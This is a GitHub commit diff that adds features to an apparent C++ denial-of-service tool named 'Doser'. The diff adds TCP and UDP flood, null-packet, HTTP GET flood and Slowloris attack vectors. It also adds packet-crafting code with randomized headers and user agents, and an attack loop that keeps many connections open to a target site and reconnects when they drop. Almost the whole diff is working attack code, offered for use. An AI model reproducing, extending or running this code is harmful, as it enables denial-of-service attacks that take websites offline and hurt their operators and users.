Skip to content

Commit 1aa8ec8

Browse files
authored
Merge pull request #1 from sepehrdaddev/experimental
Experimental
2 parents b81d06d + 1426f8c commit 1aa8ec8

File tree

6 files changed

+209
-119
lines changed

6 files changed

+209
-119
lines changed

Configuration.h

+5-2
Original file line numberDiff line numberDiff line change
@@ -5,15 +5,18 @@
55
#include <vector>
66

77
struct config{
8+
enum Vector{NullTCP, NullUDP, TCPFlood, UDPFlood, HTTP, Slowloris};
89
enum Protocol{TCP, UDP};
9-
enum Vector{Null, HTTP};
1010
Protocol protocol{TCP};
11-
Vector vector{Null};
11+
Vector vector{NullTCP};
1212
std::string website{};
1313
std::string port{};
1414
std::vector<std::string> useragents{"Wget/1.16 (linux-gnu/Xerxes)"};
1515
int THREADS = 0;
1616
int CONNECTIONS = 0;
17+
bool GetResponse{false};
18+
bool RandomizeUserAgent{false};
19+
bool RandomizeHeader{false};
1720

1821
};
1922

Doser.cpp

+113-57
Original file line numberDiff line numberDiff line change
@@ -9,57 +9,53 @@
99
#include "Doser.h"
1010

1111

12-
void Doser::attack(const int *id) {
12+
void Doser::attack(const int *id){
1313
std::vector<int> sockets;
1414
int x, r;
15+
std::vector<bool> packets;
1516
for (x = 0; x < conf->CONNECTIONS; x++) {
1617
sockets.push_back(0);
18+
packets.push_back(false);
1719
}
1820
signal(SIGPIPE, &Doser::broke);
1921
while(true) {
2022
static std::string message;
2123
for (x = 0; x < conf->CONNECTIONS; x++) {
22-
switch (sockets[x]){
23-
case 0:{
24-
sockets[x] = make_socket(conf->website.c_str(), conf->port.c_str());
25-
break;
26-
}
27-
default:break;
24+
if(!sockets[x]){
25+
sockets[x] = make_socket(conf->website.c_str(), conf->port.c_str());
26+
packets[x] = false;
2827
}
29-
switch (conf->vector){
30-
case (config::HTTP):{
31-
std::string httpbuffer{};
32-
httpbuffer = std::string{"GET /"} + createStr() + " HTTP/1.0\r\nUser-Agent: "
33-
+ randomizeUserAgent() + " \r\nAccept: */*\r\nConnection: Keep-Alive\r\n\r\n";
34-
message = std::string("Buffer: ") + httpbuffer;
35-
logger->Log(&message, Logger::Info);
36-
r = static_cast<int>(write(sockets[x], httpbuffer.c_str(), static_cast<size_t>(httpbuffer.length())));
37-
break;
38-
}
39-
case (config::Null):{
40-
r = static_cast<int>(write(sockets[x], "\0", 1));
41-
break;
42-
}
43-
default:break;
28+
if(conf->vector == config::NullTCP | conf->vector == config::NullUDP){
29+
r = write_socket(sockets[x], "\0", 1);
30+
}else{
31+
std::string packet = craft_packet(packets[x]);
32+
r = write_socket(sockets[x], packet.c_str(), static_cast<int>(packet.length()));
33+
packets[x] = true;
4434
}
45-
switch (r){
46-
case -1:{
47-
close(sockets[x]);
48-
sockets[x] = make_socket(conf->website.c_str(), conf->port.c_str());
49-
break;
50-
}
51-
default:{
52-
message = std::string("Socket[") + std::to_string(x) + "->"
53-
+ std::to_string(sockets[x]) + "] -> " + std::to_string(r);
54-
logger->Log(&message, Logger::Info);
55-
message = std::to_string(*id) + ": Voly Sent";
56-
logger->Log(&message, Logger::Info);
57-
}
35+
36+
if(conf->GetResponse){
37+
read_socket(sockets[x]);
38+
}
39+
if(r == -1){
40+
close(sockets[x]);
41+
sockets[x] = make_socket(conf->website.c_str(), conf->port.c_str());
42+
packets[x] = false;
43+
}else{
44+
message = std::string("Socket[") + std::to_string(x) + "->"
45+
+ std::to_string(sockets[x]) + "] -> " + std::to_string(r);
46+
logger->Log(&message, Logger::Info);
47+
message = std::to_string(*id) + ": Voly Sent";
48+
logger->Log(&message, Logger::Info);
5849
}
5950
}
6051
message = std::to_string(*id) + ": Voly Sent";
6152
logger->Log(&message, Logger::Info);
62-
usleep(300000);
53+
if(conf->vector == config::Slowloris){
54+
usleep(10000000);
55+
}else{
56+
usleep(30000);
57+
}
58+
6359
}
6460
}
6561

@@ -115,14 +111,10 @@ void Doser::broke(int) {
115111
}
116112

117113
std::string Doser::createStr() {
118-
unsigned seed = static_cast<unsigned int>(std::chrono::steady_clock::now().time_since_epoch().count());
119-
std::default_random_engine engine(seed);
120-
std::uniform_int_distribution<int> distribution(0, 20);
121-
int string_length = distribution(engine) + 1;
114+
int string_length = randomInt(0, 20) + 1;
122115
std::string string{};
123116
for(int i = 0; i < string_length; ++i){
124-
distribution = std::uniform_int_distribution<int>(0, 72);
125-
string += (static_cast<char>('0' + distribution(engine)));
117+
string += (static_cast<char>('0' + randomInt(0, 72)));
126118
}
127119
return string;
128120
}
@@ -137,18 +129,20 @@ void Doser::run() {
137129
case config::HTTP:
138130
logger->Log("Attack Vector: HTTP", Logger::Info);
139131
break;
140-
case config::Null:
141-
logger->Log("Attack Vector: Null", Logger::Info);
132+
case config::NullTCP:
133+
logger->Log("Attack Vector: NullTCP", Logger::Info);
142134
break;
143-
default:break;
144-
}
145-
146-
switch(conf->protocol){
147-
case config::TCP:
148-
logger->Log("Using TCP Protocol", Logger::Info);
135+
case config::NullUDP:
136+
logger->Log("Attack Vector: NullUDP", Logger::Info);
149137
break;
150-
case config::UDP:
151-
logger->Log("Using UDP Protocol", Logger::Info);
138+
case config::UDPFlood:
139+
logger->Log("Attack Vector: UDPFlood", Logger::Info);
140+
break;
141+
case config::TCPFlood:
142+
logger->Log("Attack Vector: TCPFlood", Logger::Info);
143+
break;
144+
case config::Slowloris:
145+
logger->Log("Attack Vector: Slowloris", Logger::Info);
152146
break;
153147
default:break;
154148
}
@@ -161,7 +155,6 @@ void Doser::run() {
161155
default:
162156
attack(&x);
163157
}
164-
165158
usleep(200000);
166159
}
167160
}
@@ -172,10 +165,73 @@ Doser::Doser(config *conf, Logger *logger) : conf{conf}, logger{logger} {
172165

173166
std::string Doser::randomizeUserAgent(){
174167
if(conf->useragents.size() > 1){
175-
unsigned seed = static_cast<unsigned int>(std::chrono::steady_clock::now().time_since_epoch().count());
176-
std::default_random_engine engine(seed);
177-
std::uniform_int_distribution<int> distribution(0, static_cast<int>(conf->useragents.size()));
178-
return conf->useragents[distribution(engine)];
168+
return conf->useragents[randomInt(0, static_cast<int>(conf->useragents.size()))];
179169
}
180170
return conf->useragents[0];
181171
}
172+
173+
void Doser::read_socket(int socket){
174+
char chunk[128];
175+
while(read(socket , chunk, 128)){
176+
memset(chunk , 0 , 128);
177+
}
178+
}
179+
180+
int Doser::write_socket(int socket, const char *string, int length){
181+
return static_cast<int>(write(socket, string, static_cast<size_t>(length)));
182+
}
183+
184+
std::string Doser::craft_packet(bool keep_alive){
185+
std::string packet{};
186+
switch(conf->vector){
187+
case config::UDPFlood:
188+
case config::TCPFlood:
189+
return createStr();
190+
case config::HTTP:{
191+
packet += "GET /";
192+
if(conf->RandomizeHeader){
193+
packet += createStr();
194+
}
195+
packet += " HTTP/1.0\r\nUser-Agent: ";
196+
if(conf->RandomizeUserAgent){
197+
packet += randomizeUserAgent();
198+
}else{
199+
packet += conf->useragents[0];
200+
}
201+
packet+= " \r\nAccept: */*\r\nConnection: Keep-Alive\r\n\r\n";
202+
return packet;
203+
}
204+
case config::Slowloris:{
205+
if(keep_alive){
206+
packet += "X-a: ";
207+
packet += std::to_string(randomInt(1, 5000));
208+
packet += " \r\n";
209+
}else{
210+
packet += "GET /";
211+
if(conf->RandomizeHeader){
212+
packet += createStr();
213+
}
214+
packet += " HTTP/1.0\r\nUser-Agent: ";
215+
if(conf->RandomizeUserAgent){
216+
packet += randomizeUserAgent();
217+
}else{
218+
packet += conf->useragents[0];
219+
}
220+
packet+= " \r\nAccept: */*\r\n";
221+
packet += "X-a: ";
222+
packet += std::to_string(randomInt(1, 5000));
223+
packet += " \r\n";
224+
}
225+
return packet;
226+
}
227+
default:
228+
return "";
229+
}
230+
}
231+
232+
int Doser::randomInt(int min, int max){
233+
unsigned seed = static_cast<unsigned int>(std::chrono::steady_clock::now().time_since_epoch().count());
234+
std::default_random_engine engine(seed);
235+
std::uniform_int_distribution<int> distribution(min, max);
236+
return distribution(engine);
237+
}

Doser.h

+4
Original file line numberDiff line numberDiff line change
@@ -13,8 +13,12 @@ class Doser {
1313

1414
private:
1515
int make_socket(const char *host, const char *port);
16+
void read_socket(int socket);
17+
int write_socket(int socket, const char* string, int length);
18+
std::string craft_packet(bool keep_alive=false);
1619
static void broke(int);
1720
std::string createStr();
21+
int randomInt(int min, int max);
1822
void attack(const int *id);
1923
std::string randomizeUserAgent();
2024
config *conf;

Logger.cpp

+2-3
Original file line numberDiff line numberDiff line change
@@ -27,9 +27,8 @@ void Logger::Log(std::string *message, Level l) {
2727
}
2828

2929
void Logger::Log(const char *message, Logger::Level l) {
30-
std::string *str = new std::string{message};
31-
Log(str, l);
32-
delete str;
30+
std::string str = std::string{message};
31+
Log(&str, l);
3332
}
3433

3534
Logger::Logger() = default;

0 commit comments

Comments
 (0)